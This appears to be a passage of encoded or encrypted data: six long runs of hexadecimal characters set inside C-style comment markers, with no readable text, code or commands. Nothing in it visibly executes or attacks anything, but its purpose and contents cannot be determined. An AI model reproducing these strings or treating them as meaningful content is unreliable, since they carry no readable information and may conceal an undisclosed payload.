7d10c91cc32d421918a2811aaf741cbf2c867ac11ac2a31d41ad8e5100cc5955318653d36e7d2954a0c63e7379d1ed4f1f9be0d8b202547b93b61d8377505097748ac53bbc9976abb66f3f5f67332ab3d9e17aca4449d966982e441e1ff948520c55cc15d30beacce48b7a1aeb6983a29152364ad48edc3af5ce1c87862c8bac76e7789350d51b0a30689b2f9cdf115f2f9140fd9263897c9edfd21cd446fc1ce2effbd25a0b1eff0bfdc94e6bdfbfbe78b42a790ff129d5a13b8609c1c2dd10231e5ca8b1cf5f33cf5b9bf380256e0197de8d127c7254e0bb1779f234588f7e87d54ab09780cfd0d61731a8b622f7af3f2a1fcbdd0997df66157d911a4a90f1a7a33e4f789812feb960d34457e5bdc8f7af5236efa09b147f0b96aa8ad177fea193c7e5825442b90c49798e1bbfa71725468d24592f1ac856715d2cd0cb8152eae4d11467a4442ae45acc878e29bf55334a9e7f52008dae40dbdd4b531925a3f657c8f22b786f0310c784252e890ef05b0839b33bc8ec99332e65879be8f329de0c26c19640e3fc09ca731afcb3e95e0e6dbc3f044f5944dd8d9c5ba07428abd05f00a5a81800a25320af323a0e7bf6773c51cdc4c575caddba8e1f90b988fbb78bafc8dba6bb2cda5c096d40ebec8898ffce66504e1dc09f0f1f00775e49c854b611010aa6edce72db33a1b90f41ccf3b45af834b75ce6f6ea451e0d9c1d4fe0f06cfbcb8030aa1f854d16d7a9994d58475edf7b9f41aaa3a9f154d6b40f692719c77b1de4246f80be13ae58b74ecdd74fc6f724050af09d069504a2302bcbed79c62df65d6222f43c00eb0070089351b34d67d32d247bb5348e495dab6ff2fceb617af1f62b4476f6daece30d1a1c86a6b10c51ffb6895b2946370141de670448e4f8b43dffad0cbafb8ca22ad9d449eb8dea6522c489bc3210acc4423128cdf722b82bc4ce65ca6ab46454a1a44e5927909bdf533669141dfff7db79268d32723c00c2247a56ab977a69679173f50d83af97cdc67d04b0051e9cfbeb5b93213883ef66a1e27232b812da3ffe498a8f890752d516647d2ebabf9612012665bff71d861a517af150941bc1f1f0355e3826452be08d1fde0e81c503e802d6ca07bd0d0ebff91030eac0b5493c88f2c715cf1f566841ec44324e45948b3ad4dfb9fe95cf5e007681fdccb5e705cda0e631e7aa60690ffc0095072cc2bc43bbafa9a48734012abe6ca150cb90b62dbcdbe9180db82ec32ad0667aba16d8940f665b36c41f5588ee7b5e66f723e7ca75593bb7c3d4d63fecbdce425ce91497830c79a3e372d9b22e70383b90d49f061f9f82ba0af449999e7d1a6bfe9534c7ce6c0ee6fb98f24c4be58a06c4f09b0ac14d530e704da4e6c9615e96e7245088a05c7be0b0daec370535f361f251fc6f0912dc8f2dc2b18d306f7f48f24be9fc5adce36d9821350e34bfa256136df2f2317efe4e539d47d356ee82db92c4db64d8ce80068fc20bf8bd2861a0405fa35b5e1b2a713a7f369e4280fecf9012eef84aa22d6abbba01cdd4b94a6c8515bfa66bfd8c6d4c774f7554056d4900bc9a69b4f43793802dad7a0efa943eb18e975e45e4967390f1244c2fab51e167a7e53a45a35bd2048b98302924a942ed8456778f64d3a59127cd0fc8b844ca9ac5da88e41b4429878310a81389df9d3202c1c9274e5c3ee6a2ce3a3571ef4214e887aabc0dfabc48a95226d3e10f7a70cd9f7c526f7011b307919b04359adf29464644f7c37f5a3c32e26deb1ce4840c775913ed7a2f5efe9e814a134fcf2c3bd1444178ce4309cfd01330b24e3842076bc92a23f41f470c2b886c70254dfa0a7683c4d266a57b448970772b23eda107843aabf35b8aaf0323d91af12cf80c82ca4ab0f04ad0177387e10ed11cd7999e5cd6b87c12d0dd7f7a58d64c312ff9fad3b849dabe068c6d5e397ab850212b6ee246e*/
/*7feeade865bf6e1dac63a4d6171a1f7a94c9c4a89a4cb5030e014459601395c6e4cb8a7b9aef76035e3231da457471edb90ab3f7a1c623991e6cd685769f32b988afb38b63f0f32398eb6f2f91f82d510acd6561c763ffb0079e3bfa2d70ec019c38676afd4db76e256b27bd963e683a2b560046f4dc3ae849d776cb7c24753cc38ebf9d46145ed0a626f2cb7287119a6bfaa4db1a12b838e74a57b5fed605fa407addc2be4ca942632c65010066c013afe5d7b4830e40f3b2457b796c8c33788ddcb62e1f896afe68e17bc03d5998b8a8928ed290478c369686729c0649a94effc77ed96cf37bfde7a3f7a6eb4d25cac67286c2761bef003f38a7a3a1614a429958a080b8f72538e667c029b6b5e52560fb13e604491fb0de084aaee379c89097f9218ef95d87f1902cdc426f44a18cb9e9eed57c1a69330919e7f8280235d56c0c5c1100ff587d1f81e9b573f4777a20d8194e7b210f9f31a4b5f04e608829edb930a727741a5cd7b045f6c14caa398e418c4c34052844aad3cbfcf4c6530951d771247443fb85ad04f2cff014e067d673bbf125f91addf665a1f2a93e0cecf42e4f57506b7e25ab635e941b7f1c75317fb43099c808f97978f541a9ddc736c16a001ae355d37afc6f4354853eefec0f9c9a766e7361bfb771201ea6f92c3af34194601571767e3cf1d82dfe0259d86d28d08f026f8f5acd49d0c3d19d814c7ea0b6f441833ee830bfa23441d846c22aeac57d0439f4247c7277a6601d3951b6781008296644b70ba9f4a66c466bec1ab9ba94ed90ccbe8059bc870a53948dff57b66f46dad52d817f984f03693df92fe45e54ea725df4628c9f7d7d533b8ab4266a08f6809bab51db714efb1d7042900960dc796671aa59822b1348ced7e2eb50791ddd17afc520cc3b28f18792c6190ae1c14b3ea7d1f525faf4247c3ef9b71746a9a372f995748192076cf4b7700d6996a8385cff2dbf1270a2c119b16526c52fa4edb11ac4e70215ff0f1822eb3db2fc26ff32ecdbc21b60ffc2892465e9d5e4b00f3ce87a08fa859ddecf59e0ba0fa9dfcb33dafd4c04a953cbb7eeab2d521f5a723d19da854b4ad8b7c459db968e0c551da8388d3899c3800f1da169056ddddd305bced5de241ee9f50f9809699134f3cfe180f0d2f1b09297a3440597957cbffd7db0cbd735c96781616ddadc3aaed12adb7d04db1e29b8d2b3de79677af029d361e68e24a889920a2fc8ce33e1f4c56b395f2781a53680d74b75488db0d1b7bdfdf48ef7dea50d144ce842f1323d365eb38d80b830c9ac6736e0fee319a130b7737af9035747a4237b1db717815ce9f83cb54c6b10bf6c2a5986b72db132adc1cfab5ca7c908eb2e4f9f2387d3f62edfc482e3490f51ae45cc55e16f311bee5c902c8e34e09c7d5e0378e07bb4f0231f72051c59d10fa420fa841ea1036491e25ce0ec68a31b29ddd1d59c06645337bb786178bd2abda521b1ca83f8d0c2845bcfb120359d25d7c82105dd46b1f2d369f38bc13c87c50360d08312b8ed36158046ec290c2cf77218d806d21ac3f2ca0dc79d882c1c165a2151b0872db04f67f9ce8aded600f5457c0a7612eb0d213edc8a6fb03baf730cab6a6efc149a2478798c0ce2291a484e55f3e56be9fbfca90f11bc648f658947f6ab9ca019bdb381634ef712d7c0f8872eac9fbb29728ecf33e9c4cf072c4b3e7d382d6f3995d4fa37378577abb039c0015f9be7cd38937f2a02a93c380a02671866b8bbad95b2faf1042626a10e2a39cd403c45721c31bd94e01e7873a1b913fbf7060fd16eca057a980e4c8ae27f2ac72f3a7b53c3a1ff87184ca95b9e00b2c0ae78ea462f9b66be95bce81921122313718caeb2299a4be173fd1350ca6e58879820157264a68070d5d104e2a43ecdfbf80073810307a735faf36e12ab01c418d0e5e2876398062b889f2b6c89ba6d87bf70a67b5b4b29523da3709f56394fc8fa5027efa8a053deb1a74cea4cd6d7f6bb8a8ec9e0555c1daa6100ac0d5956b62a21d513b642bc1484f0861f27bade39b8d6b1359843945dc1c7d9cbb9a74c8d8c137e3189cbf8b124e02f8ac4745b8e1f53d458974f6824bf50de67df7f29952c11d500d952471acc4a2a0f536d72aadfd4ae0b719840e41ed11a63e262d5975960afd57b72b9fe81758b4094c050969e763a1bf7febaca9967486107bebd44f886c1ad9cea0dbf964bbffd4b3b403e8949a117988ed568edafc76470092c4ac624295b4256b471387cbcafb6b0494c570b6c46642394c70854e46ffabd03ac81345d54b73ed575ba1b870d3d9436d4ab24b49965444b731a7863d4ce7368ead3829100958734a4f2988cc692e9e42dff068f1fe9d5ad078e312786ca7b70c296390517d8d17ebd539ec0bbf2ae89dccad391b5bfd86299ae4e195e82017fca6e7ea86ceda94afe1d83ec0981abf6a4bb96a3c780a05730e5e368c99e0ab661d19d8e46be92450563cd471f7f4281af0d81f31b8f9988356a87b9dbfe5eadd7c76f0a8066c2e0c2a18cd1bcb1f0c2969d6bfa4443a80dc119f474cbfa91b08b5956fdc1e8cf9fcc4a9244471976cd76191ba6bf3f4297b4a74818aafdd73c2159a6261f68bcabc18658b37a2c9551081a1ea0f964995eed1257cced469bc5aa2dd1b27d24a5ab73fa7cee97009abcc61e8c4663f950fad002a88376bd0d182ad778412f6c43bcc9d48e2afab573ad2c463ec2d9552d9971023a9663c91d569c7732f9c7df6a5636f7df7daf2acbeb281bcbb4c33188928a5bdcc73956445a37cbec53061dd511aeaffdeafeaaa586b693129b*/
/*3d6ab26d79b65fde780214e88a40176c3d9eb3f4ae9909fdd03214aa3ec8aa4570cca61ca2c380da359594d2c2357313b35e9c58782b9813a500887ecf7b1f9f5f1c7596ed41310ff95f9da73b23326c5f4e4f7eaad5f9f35c6809f58521c8fef6d10f433d0b9bdd0da2b334628c5b6d8e02ae8a43441ccdf9a47c39f967ce982b9f1395482d91d976646421d038f5553612d1ece149ec34c0a61e35689e9f8cda9ff004b115d1593abeb18400717f990af2e23a08cc2b1fc26d18a36106580ccb5b3f9a0908919c8f7519d938f746a4c963baae4a89030ae25ae256ebbfa0f1a38fe8ead38bb4a8a836ae88db4f793a9806c79b4ae853f3851297beff36c7beed2c47fdbe9c6f589d14efd39d35cc566335fda86491cc908f23189fce132a7fc59d4750416132fe21e20e6bba937edbdee53170139240f3c9295aad4f4baa56c4920c61f7e32a46176efe3910c09a98fda1b06a31580e63c55e7f5fae043d5e5b048f60116e3ce1df55a5e1f7b0f3cd63a4d7fdc6de7376e6ee5c0f2dd947fb564343af929e339b422d434ddaea13441cf5136714c5a4fdce6f00880722bb28896e2c5a0350926fb4e80132e72b8c8d6a4da29e25b9dc45f43da3c92d04e324ba7eb3c2e1effa1b6fd77947765418554aa65f371e24f1ff1bae833853f50d20a28ef4c0a7cf5f54ac38996e01584d63186583845ed6ffb3e24290922e44a20377aa3693304231d49e7716f04c3b5e12dfbe9acdc95398c6f4f20dad47fdf425cff6130e2d1e3cc19c5b46c89485294dc460083664d2c5a7d8e3879f637250b0418cda14180d1c10ffee9e43dce29dc16f137ab8b7e1a1a2d852dd6abb7b1aba53c8a92e6e1fc925bb03bc7844b304eb7f188d0a056e007a60655ac262d793080e39ef3a1e3dda953e3999c1a47e36b4f1e2ab8305a5ebe08b28fd9a41d1986cd7fc0710876e7910098d74816c9e2a9412fb7f19296abb627b1c41dc60bf451434e3406860cc3a05c71d84e63de80a0a14e9af585b178f8371a9d69c24002e73157fd3f6690a613965a6164729152d75ccb67c9602b78d1b2d32692a8259667ddae36a06f8f1b58b8025ae32d62947717477201fd4e87b5f0848301d10ab6a5533b9c316fe5a6149694b9d2e6e7f671087231bfc91c33a25959549ab63a5963008df9a790a4accc8f014ab470c41ea0c64905d45fb8b0e8b966c8aa505bf3e5b45f99b0d015c02972b7e230e94b010dca088f2878f6934425367c1070f3bbb6e778fe33918d64ee6def930f64e354b11489e172be8ca8756af06164220b5dd7b1350dc565973e7547adb0d8cf7680f1f4fd96ef9c2ba9b269ad02a96148df3a95ff4fcd68e15c2089094a4258bb0d46ba3ee380542d6d5aca50c1081c827741e55138cd5cf212fae27d356cf42b37f7a4f474a496a014cf8d897d77aada3c47dbd6fc73dd51683c6ac2b5d050947281726ff075d300db370a0030c7f687a198cb5c709a1b278dcb7923cf22ac8babf141d31af738c083793d8505db49a08327e1b1cc09dc00d5748f2b336e7e0b6d00b9088f414e6e67f36d3f258e06daa945e0ed24a2cd90c05550587f302242c5c5dc4c754980afa2828ed053eafc34d4fff62d2ed6794820a9ca8b61a2306481709965ce9d5d3303a2fae9dd7e9c7c4d912a83e3368df192a5a0e76888a17ad881f355124b1d068cc01d5ec8be5dbb2d7b8729cdb0834c98af56078408e59c7b51d6ac122715536683b121d6250c422835dd5cef5f9c31793113bd9aa38f6dfb46966e12fd38f599d7b88d1bba567ad49165ba72685f33b533eedadf61620ec20a16406fdedfc49f835b1f705259e24b6b5de9da29d82380cd7c36f977f7da93aab02c1a25866c8a707f4fc33929431913af6b307137ca92859a6ff892c0893648565ba9068b642cd289699e500bbfbc9de263e697d26d3dac094cc0d2ad043af953c3006ac4fbdb512bf7c4b25c8f2a1d4a7491d98763c19ddb2b9d3b7e4acab4e92e1cb161fd75778d77de143c1f3382d81b6db322f4f63c810e5a3a8f6dcf07cfe1af719ffdbcc59bedc63dc520788a0f3a9abe45eada06488559019b65a1585bc728e892239429d3e3873e5e0648d6ce84980eab2ab353b9f757bade82e87619eacc408cd1f8a762a6882a2525c3e6302bc6c7dbff5cf25721c4b8161ce7f443768a01db01c0ded0233783a1faf309a6e82ec08bb50ff1713f6d74c306c2b37d683e118539ed271b9778149f30d8760bd54f62cc33c657628ad00e7c20f9c03d2aeedc27e4aafc3fdb1070fb8481f83a80919709136eacda498142d78f76a5b5530c665f804eec1f88d25fb216a0c30887553778c7a900f876abb17e024026c5ebb381ae0f1b93d921ee51f5cfbad6049b634de01e933d955f5a7ea1efbf1b1c5ca35f5ea0da236c12d4f274372d59cd389fce8cf2f6ba64034a84eb904ad0428d15dd6baa9d99545939804975c27aaf55510e31a167864419f08f7ff83f9445867a9bc20b6ee7de751e52831fb66a55114e73b14ca54c4d0774ad110af62bbdcc048ce9aebb9e9eb11396e3d27da386562a51812626fbf18ca6a33ba9d871ac2b214a2b412312ac0fb627fcc41884bac906c0a6f25b2bdd2c1d58019e7dd07f66e128cc5131dbac0a2cc64eaa40f05447c9ec646ec1c89dbc1c5e44b9612b25cc76147ca0b94d536d7348bed55ae5e30267bd0bdb268921afdd8d36402072abe87a09fb683787bd3327e63cc372a5fe09b339ef2f6ef0829dc1ab3d52c1c3db708bf4d48b238a9a7225ea88e81aa60dcf8d4b42506dd3a90bcc67fcfda6f04*/
/*d98405dd1956ace600f5317294efabca773ed6a3c0fb215a32c1c43f6705a9879cb7a5839578e6494e3e7fea4ae026a8b64ed54e20e8a13b5b8d045d697eb8f913d8049d66ad3b376601d6421ac43b117ae2b568f145e79c7ad3965724ced2b88d8dee201226dd754bb2d66d6990f7794a9f02421a568af7e14fe9729d7330605992b91a4a7b9f88948b4a790d3026fb687b27c34ea144e9265a6519add88eefbd8ae3b52d727c3c2b71f74e9edcb86372a025f915142e067e995be6a5a8e2c29b347a6334ea3af564120581a50f6a89706c6565f8f73014c6332a97402b4865e36ca25089c6a23409ef6bfabce3e8d015de7498a649f0b0e1be563ce45645fce9879d1b8a316b62dbbd480d8d24430e3cb5df4fb5e6f346986f690e6bc99a6e4ace686e6837c51ae0003e2b9a3379c11ab6bc05b68b2216b14084d35d9debd4e15429211dd4cbb5115c0a7aab0513140154c6e549421e9eb77a2ef752adddb2c5753492855aba89d90811a9a76bef82d7574602ba21f3131257f4b8784ea2078dd875297a78800e33c80283ac7f5de4d6c24d663af4f30abc3a84af0c6dc97c97a25a76a5e179182999037fccaceeac4cd87d61afddc792f06bc1bc87ecb7fcc5d21046d96b631b2be8e7eca492ca75dab9f1f49283b1bf441dc5c1c8391da6f8303dc6e43ace80713f8c52a01f482bcf89711f92a248f5207918900184f02d67fcec90c9e219d6b82cc198ea9e597018e5eaa44837a6c85c382a43c832fcc0fccd4cc9c85513f3b6422104336014948f753c56b8ac027da8c5119dede3ae0935fd3ba5e6a899fd283ec1caf5ac50c20383a6b1b9b58dba2070fafa3bb6c7c1aebe9e1441b1b664ae9d47eb80571a2f35541a576adb07844466b36d2e4491302b0658e4c26ccd429d14101ec060f462060853385e1970fba6071537b6c92044e10804e121e761206e669de50b2b2345b4f3002ef707315eb2f49b1a03ab20f2f9477d1c8760147306ed8d75fe9ce6696aac6a057371bb5eb37f12b1819625c6c3e4689390bc3fd14fc44f8485ab7868475273a33f77953a407186226fa1e5eee894acb98398cca4e881546a83e9a748201a1eaf53b9972eb839da404bfe90ca2f53671987128db29c40c906aa6729c5ccb361b03d8eaf750ecce0d5c6f6fa7eb486b2f4aaddd086044d903128d5f58aee23603a3f66e1a072bcc8d09d6b160f941f09de315146e0fdf1b1b9f32fb0dbf5055c3bd719f93b263d91080ffd148b57fb095ca0ef519b897fbc7a2ec77e23e882b88855851aadfb3a2a46183ed00f3f520196c06bed7e5c63231b9f7add66a381178fde301cae875b57edb9d1e6964cd980d6031eb60f5fda171c20f56fb31d6e25bfdaa1fd753cbbd5c6184713307ece7773d6eb72a9694cc181b995776f41cc241f941a92bfba094924377812f32bedbdcf74fd7c1515c03ef5c5ef7db5591914a35f91ad274e059aec685e90c44874f56dc7b31589ac55e6d69c879af835ddf701731a5b5353d4ace305b770705587606cf86a59eef6f273c2b20627c229d471b1fb3cf69ad4ab9497fb0e96bd12dda69c1110dec6f7d83315435ce8911c330f579ad07680c3fb67bd0cdb521a57e29cbb0b0b4040b5f36fb996418d371173e5f3e58d24c1de1c7fc05e564504d179ec5589ce6c993752501845b35c6c1d54af60c80dccebb4f9e354a9d71ce43784122f30e9aa3b661898b60ec2fa55ad2bd7d921ed3d963559f96cd7ec8cebf6a6952483ce6802c2e17d4e182453670d4a37182ee1dba45765bc4557349cc90740bea8f8c7fac7f395f85c951e21196d3e9122091fb2b53a29fea57281235dce8a7ee08907ecc574ce6088c3f8ffc425cb65abc36bc543f57b94968690340da07d96c8ee9b17d8eeb10ca3aec927e1b193f75591f48ba16a2c332fc06162458b4f90d852c1df69411a4b1869dba2c6610eab70e0b9d5899bc277bdbbc2dea931368325a5f15f13280cc9efac4dd2638995d158b658f6e7be8d2c6999598d198a2ae6f90d2e3fe41fbe5a4a862177ba3897ece0eacda639875fa01917b5072cd4b342a59d6e7e4b5b6eab58d113d80f3d83207a76a6e13c85ed24ecce0e78f86da80430f6f39f41ada657fbdfdc5cf557e8fd0af2449f479029dc37ec3df8e07b01349f4792ad799791f7b0c29ad0ef6e77efd2d6598f400f9fbd62b3be49ff33c51d0042d4b8c110652915dc1d9a23ef00f3b8dd63219a6f6ff5e2ab1efeebd7269719f9dde658382619f4fb8dbb55d3c65aa582b5b156e400de21a975b18e0ab3d38ae0596840e24f367cb8c01d65e5517b2f46225299ca7df9f485c273c7aa982a6cd23cb4d725beb8526f20cb60dcf2df6994fbbb8e25888913777859abcd1a1170827c74a44ae7c4487bca30694d866ea76def514ea7c63725d211e5bdf066d61c94da6b9dcd68b6c0fbc970380250b041a2315bfb0c6d58332ca6d1513232db29d30d95fe563d97f6c07ae6ba3db48253b9ea9ef854c08fcb347ab2034933bdc2d3f57569ee6846982bbaa33d81f933bab401c2734fb5c76c9e92840454588e58262120c07149b0a186d202820ea9cd3308a99e1ca06dea85228b816d1d3ed808824c14c9bf2685fc5688bfdb469d18256398977f85c3ec35b7e8e378fdc4955790114a2ae749afc5e2fc67a39e5147c7ed81c0f3caccf6a59fbe86a0b5e8d903e99fb95c7eff4804c0d82b86d02e4a679b879c08fff35ae1a774549391b22f91e2502a97117149e2e2777686daad2fc14c1bd749153737b253c3b538d9d8c6c11802a496dc59a6c89fd38462*/
/*ec1c7f7db0fe6f35176c6f3a125c55663d8e53bf24984bd271b526852564766b4f1eeaf0e2f41da1d3771a1a942891e1781243aa1b55598255622f8875f66f23551630bf77b9ebd83b26f2810f477685c75c2295faa03c29260153720f2c3e9818d44496d21f7cbe7b56162cb66fa0e986da34bed7ca044ecd7a78908f3989051446a9b0fa72693db31a33b764c459bf127213ab7e14483adc3539d970511b863f258f384e14981d8c00c80bf93c227c96e87c45c5c1cf7d54482b7c775e3000c58fef17b615e3922dda40eeca557589cd219fb34a06a2956f6b5d20a61a09cc39efe67a874257649751939f54ddd048daf0dab49aabff58b8072cf4258f774ae1df00abacd2d29c87efebe20b0caf2e8fed8e5ad6a19ade3d96fdc75381c3cb624f13e2756eb80d1bd66bcbd56e52381d6aed111fe2fa32f1d528cda11b147050a0a3ddba986b985049f0a1a375db074b9329af1b06b4fc483492bd1269acf629f4f2f773bd8c808a76bd007d6ef9a0b3ea66cf9f2d1c7cb338994c184a08a50ddfe868f3570de4e05d2183eb7ff112acee48bdc7f14e9fc898d8ce83ed0e3faeed3a4cabf618f9bdd6a52c0c421fdf8fcc699e54edb95171ecd020111272e7db4e8d7a8d39b7f7bb2ae482d9e1783e3f5e43edc94941c5ad8cde847e20fed89820e65c0562d8f435b7ef6cb6d15f2e63f0a2f490b90a308efd9a351ae8b9ddc4e00e9e45eb74b4918f424a9c0aa55abe677f2ad270879e828d39d8fb7984d137df00aacaebcfb6c2c0a690ff025cc6385012bf6bd8251228460e380d56c24e9d5111ee8ca63ee17e5feb89ec8933e485c89387e3d96490e062862022119a1e9cb2b889f912087f39569cdcb2cecb032c6f09247b445022ba88d2414372c2dd853354803e0b6ce06caef5ecdbf9629b775127bc9c6af0015c6b82acc770236f66ada4e52fa63efc69dd9ff54040564c21b8998009f0c6d0a3088cc41f3ae24fa6743046246ef2b7116b4093bdceb106739a6b1cb2a1d3360e1fd968b2c2f6b5a64073cf328d4642aedcde02ccc4a63cbc9872218c59a645926943010db9e0d3aff72c51cd883fa3c7e8590f25ccd6b1a5c6cc66649a8288831d071628eb0887ecbef57a151f16484a6a11b2583b7c571c86c059cc0d0954ac510077fbba0d8496ab9a3694864b5ad8920fe976b4e85f72a03b486ed0b39b6e291e8cb7a494a9d9c272bba3025375f44ad3ba4a7a95d25e1d55d864de6340fb556f65ba2886c878c572557dc83195dbbe7318bbc3320275acd269ef4507a5968bea6537d384ef7653f11bf6bd3b2fe87e3ba0aa4f1468aaeb759b429d882100a0ed36ee4b34db957245930a8bf421f1c499b9ce30c95e3e4f006b700454e3b01c0a5af5f253341f77afcc2762e8d26e50207c85e5dfc2c6cf522a7309d35a939bb50916bc2ff05ee129c5eb5b5683bcc8d217b57ee9962faaa791a0163dd4c25dbf01cddfcf186bd03e405bb07ffddda0c5d7ea6392122fda065aab21668e90069a54ef3c29e5fab0e469698c93a85900186bbc5db9cf5c4119893893cd252022f570812bde5944911c838b07188b9a18b1ddd26f94edd433c956a92e768a18d5437da62d617f2ac6f20ef16908b0750ce8442107562a30f0a031973220fd548712aecbb4c4b5fe09f3704d4b8c1706f80a904535dca9b9346c921f216719a95b214d94a50a781ec3b6526234cdd6b749654e62e023779952f321026361e1f3c131429e8cca25159d4e2458aac5cb9285b66636958056f52a3830d5ab1331f35970405bd618c9279fa9024bc5d0a1c22e4e99d8829275c3aea9526e965741f1d397242a364dc91540a7f0348f9490b96ff04b865983dab8487de6f15ba0820cd4a453bdc27772ee6e10fcb4038109322f7aec5fad56e8b17efa23a9f9606ec06e15e806f98dfbefc6a710b4a7390558046db7d81e1e9c63327c21db3aaa0aa7447303515135f03c467f9fd01fe7149565b831ac5a51d629b43d204993d755387cfcef13c79c4f93f56d36439234eaf8440831a727f749bd954b04d25c93a117274d2e7df1eb676f59f23cf7824584f00de9043c9499ca0580e19b800d87728976483b1a5875ead690a558a0c4a5ac0ab72a77b20ef01fec6cd69d83d6b332fa2ad9ac183d82ac2a85c5edd967fc26ea2ddfdd7a7a11438a0ca20a172a1ebdeb19b1dc8ae56dd09b9670c1a2143633c10f1cf7a4f6eb93d0a4d3ebb27ac4057e3993995c47e03775b1cf14d1a1ef78654babf980626e23b89bf894f0706a9972b430d40fa8f423e77a1bb19c0544e5bb7e7e74783f72c380223555fe7ff3794272c4282fb71513acb813579de329f7fe9f59da3d7f08d79708fd783e7fe48e6b8f488aae72f3c6729cf573e747d94237216bb2220275c1b2f2c6bb90525b83834f11cda62eb39df84241219d5cdd0e9c1eefc543cf60124e24702a32df8bf6004891656f862d10fb4e27c87b639b39aec96a166ef2f5f4cda305db7fef1cecf35415d358e54be604d4f47aad333e2424d7368eb72e1734b93037b6bb38ccc2fe5bbd61524593ba6856aa3d22d937450e47e34997f642c07e387c38a8ecd7cd54e5405e4a8be50567ee64b76a24029b62482a982fcc2c951581fd82a76a6deda6e81313a2e6d183895959022ba75da920bf3a6f75cd67e81ec7271976876a6f7de4c26718caa1fdd9303d0ee379ea5d33435c7c7699ca13f4bc27086fb7c32c23e8d5363009bab6d64c815d267d51379da8153f8e6bfbb17082e05c927b3b27a01be90a9af961d0588b328dd0d99b8ed8cb449447c26b39*/
/*5b2e75f680708a71a7cddbbdf79d9c53e89da35195fc1a0884fcf0d2bd58d1578aeb2593867eee2d7bd48603e3934acd82d8f975266e38a79a960b65037c9e6dac341c0741cbe33fc36a58f70817082ee7e7e20f67fc069ffd96ef8c8f3b633808afc1aad3dd333ca6e5141b920e7e9b03d4ac1e5ebcbdf81e6eee5f4d609e3287f5baab89a034b891d9e787a1d99a9cf81e8c34c094db65c636ade608dc4125b883c2f960618b95e2b7662451b0b3fd4fee11d0150e5db2d2f66ca25d38aa61785163c919d3ae7747cdf2b3b3017e535b66c33b059791b1e6ad6010d3631b414d402b288d8426057b9c180702eec7670674ea32bed85e4b5f9d418e9972a75921f55ad353ec6831de1ded10e82fd3f259cd9be3100fc594fe8f4c80e52882662c879a41889abdfb0d5a595e6a1d8b3d370b5e14afa05b24a00a30ce7a34aa767eca30252d061c0aaca158b9522f2dac277dd68cd8750f237aec0cef99d21019530dc1b4c0975322cfcca0aab165664f4d29763081a4877a83cb42b59d0bca0f08eadee0c91c3f59121265110307e5bebbb3eda7e17f01f5738ad4968ccf36e65af54eab5f897267894958d6151377e0aca9f705a83d352f7a8b1e4df023530094f25fd39a1555b245f56e5c9a19992ceb2ca3ce186bbf46a02bda98e7ea4ab802e7b753601cde870d39e1d625fb1b12cd0fac2cf8d30ed8347a05712afbef22a2ff5d0cb207816257c693a527a7e91fe172fabf6a52877e302590c0bc829e78149c10fcebbeee04c08651372adbcfca9623077813c741aad5669e3e2baf19e57c117cb3cf330e6ea3b07de4a8380e6b1ba04d513585a0e52a525568c3a0a214d5e59c7113cd49d38b3ccaf602782a4665e91465944d947a2f805a3482c85c3d5cbc592afc959948f065519a25349033e927f6a0f070bbf657c702202cf9dfade08bab333495fb720065ca3446aa0aa261fe4ab91e67e4801bd39b5e00030c3c2a193a4a15f069968f79ae21fb5201143b66d6b0a95b8c03b82812575913405959b6f0171cb4cfeaedfd0b2457f8a60b68fd2549732c3e762747bd04704e669c5a9a7f35ebff4937539180597904bb1e4bee7a0a51961f7bcc2e64932b1f2b4018808fdd89d6a8dad94951748f480ee00c35095f76f2364361d1f8075bcadb31b395af5245b389770accdeba74c36fffa6115a526f1a8b1aed42d6b33f3dbbe4c23c18155a54ab725aef43202d2051db87cfc708bc03ea62d048fb10e6a4deb00460c31245bf01427565f09c5b1284aba6ead15f74a748af39fed10c2780f9e12094a0a9fee642af2ff30a3003b301bf53520c8cafe61a4516eaf12dc6e8e9f142cf3294eaf21d55d1cdf59f797995d1401fec8970f8f70cad0e2b727e4a40b2c56f966af6b8b500a91b89436d203c22daabe6f0d1a83c51cc194aa6fe42104adcbf246831952dc1c49ecfcb8b6c9c08ca2d8863ff62e6b2248f0016b4e125bed0860abf4c4758547f29987def73d9072ca5f584e03b7a56599830108cd71be5b0496098c56e2c82e6f1f1f042db25def993c2cb4db5157d49ffcee7ac0d7542a6a80dd8ead4783dcf943b5a3786ff97d318c1fdb6a97afc077495ebce52a63c2e77376a3a63d32d4f856617dea6742a2406c944468e3df221a03be22eae1a42436982cccfb7e050d53b96f0f40d3fdb339e3ff7e8981342b04bab1ad49d2c7079591c3614ec80e21ec6d58d992e113eb3d0c0ae93df3da04842cfae3b55205747874cdd0ea783ddc6018fb749c1e1530ae9a1b6a00107a92dd1b65b3246a6e983ce805146fbbbc6c65c33601cb2564f0c97963453b3479a955150d7311e82e481225f50d33501033e37e4f6da162c2aefeb1751140b4edad1cb4e3dc4dfc24e40d2dd813a4b9f2e4e277cbdacd1934a08c5c96e82d9b81f82b6cc88ca084567e2e47b45bf26d82df85adbaf20f58abbba1f0c9f625c466c66f14423c558163dd8dd703fe3fd9d97c82ae7cfeb1b751fb4ada25dbf240bc2189aabb202909e8c161d911c318f801077c0d9e3e1f259e2d10da20730d3aeb469d147bdb92e7b39986ecfdc60acf7f4af62c3ced8d14a3809de2d3344b0ab03bc6d1a3b18a2b708936a4aeab986fdce17c9258ac7f525a01200ed186417811a35ff622fb6676500d32bd0510c7d8b289f8b9025025408127db8c3cdbccede173f6a6fd02f0a4afb074a01da2cd10b87dbc18f975fcbd9f3aee03ebc2ac191a6cf4a1e9320858c753c2521045f3da3a8ad9baf833318bd3a914671f95f3c950ab8012d994e880114c6956c5a33cb2a521adddc1dc5edcf641530da597332b1d2bf13217f10ab216aa44f06dd74da5991723b5367b7eba993dfb4ee4335ca5fcb6f6074610ffda43a8827efa0d7207ffa21ad511873faa62b0d05cfc4e87dd7b617db875d44c025838fcc40bf9ab8e47fd23b48e63c5cee82e1c97864a7732197c9627c3deb630ecafb5cdb7596b5f4e5ef3bf8039e3875e59e06ad08ea70d2afff93cbf50f93297fa6cb4bdd8a13d9f9acc09588280ce7475321b8f056987bfc1209ea5909d13ba2032f54fca6772cb4c46b31dad69f07bb8e535cb357c30165fd9f81ab5e0d1e675e226e717754ff2f5f397e4dcaa328f7b96a1bc842b6aa5c060cf88ce71993a5d48d651d2a45aa8a12c2871b74a0b26ec378d6c8252a6134b0719f97d8cd1a1f23628d8e449bbc34859a4c15a250fd41aba4bb5fb190096a2a4b293de7e0da3888f343687529cb3477f9337123ea7b11bf7c094f442c1e9b34f3f9e3be55372e50812e9d15378c2184d6862339c2e757*/
